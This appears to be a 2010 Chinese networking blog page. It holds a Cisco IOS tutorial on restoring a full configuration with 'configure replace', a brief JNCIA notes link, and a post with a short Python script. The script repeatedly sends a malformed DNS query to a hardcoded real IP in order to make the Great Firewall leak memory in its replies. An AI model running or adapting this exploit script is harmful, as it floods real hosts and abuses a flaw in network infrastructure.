Oct 27, 2010

来刷个配置——configure replace

经常都有要刷配置的时候,第一直觉我想大部分人都是Ctrl+C,然后Ctrl+V这样。或者
copy tftp://xxx run
这样来完成。如果是一台干净的设备还问题不大,如果是一台有配置的设备,需要贴配置,这样或许不太妥。
我们假设这样一个情景,原来某设备上有一段配置:
interface FastEthernet0/0 
 description To_XXX
 ip address 13.13.13.1 255.255.255.0
 duplex auto
 speed auto
!
interface FastEthernet0/1
 description To_R2
 ip address 12.12.12.1 255.255.255.0
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 cisco
 duplex auto
 speed auto
而不幸的是,某个工程师弄错了东西改动了配置成这样了
interface FastEthernet0/0
 description To_R2
 ip address 12.12.12.1 255.255.255.0
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 cisco
 duplex auto
 speed auto
!
interface FastEthernet0/1
 no ip address
 shutdown
 duplex auto
 speed auto
幸运的是,工程师即使发现了错误想使用以前配置。这时无论是从打开以前的配置复制粘贴,还是使用 copy start run 来恢复以前的配置都会得到一个非预期的结果:
interface FastEthernet0/0
 description To_XXX
 ip address 13.13.13.1 255.255.255.0
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 cisco
 duplex auto
 speed auto
!
interface FastEthernet0/1
 description To_R2
 ip address 12.12.12.1 255.255.255.0
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 cisco
 shutdown
 duplex auto
 speed auto
F0/1是shutdown的,而F0/0由于多配置了OSPF认证而不能建立邻居关系。当然我们可以先手工清除所有配置,然后再贴会原来的。但是实际情况可能需要刷整台设备配置时,这样无疑是很浪费时间的。这时我推荐的做法是
configure replace nvram:startup-config
这句命令相当于将running-config先清空后再刷入新的配置。上面的情况执行此句后为:
Router#configure replace nvram:startup-config
This will apply all necessary additions and deletions
to replace the current running configuration with the
contents of the specified configuration file, which is
assumed to be a complete configuration, not a partial
configuration. Enter Y if you are sure you want to proceed. ? [no]: y
Router#sh run
<省略部分配置>
interface FastEthernet0/0
 description To_XXX
 ip address 13.13.13.1 255.255.255.0
 duplex auto
 speed auto
!
interface FastEthernet0/1
 description To_R2
 ip address 12.12.12.1 255.255.255.0
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 cisco
 duplex auto
 speed auto
<省略部分配置>
这才是我们想要的结果嘛。具体的信息,可以参考
http://www.cisco.com/en/US/docs/ios/12_3t/12_3t7/feature/guide/gtrollbk.html
其中还提到了Rollback和Archive,喜欢Juniper的commit功能的同学,可以用这个来模拟实现其中部分功能哦~~~自己看吧

Oct 21, 2010

让GFW溢出的Python代码

import socket
import binascii
import time
import threading
class DataReceiver:
    def __init__(self, s):
        self.s = s
    def __call__(self):
        while True:
            r = s.recvfrom(65535)[0]
            i = 0
            while i < len(r):
                print '%04x:' % i,
                p = list(r[i : i + 16])
                for j in range(0, len(p)):
                    print binascii.b2a_hex(p[j]),
                    if p[j] < ' ' or p[j] > '~':
                        p[j] = '.'
                print ' ' * ((15 - j) * 3),
                print "".join(p)
                i += 16
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
threading.Thread(target = DataReceiver(s)).start()
while True:
    s.sendto("\1\1\6wux.ru\377", ("98.137.149.56", 53))
    time.sleep(0.001)

Oct 19, 2010

Juniper JNCIA 笔记

别人写的,还是不错的。
点这里下载

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Powered by Blogger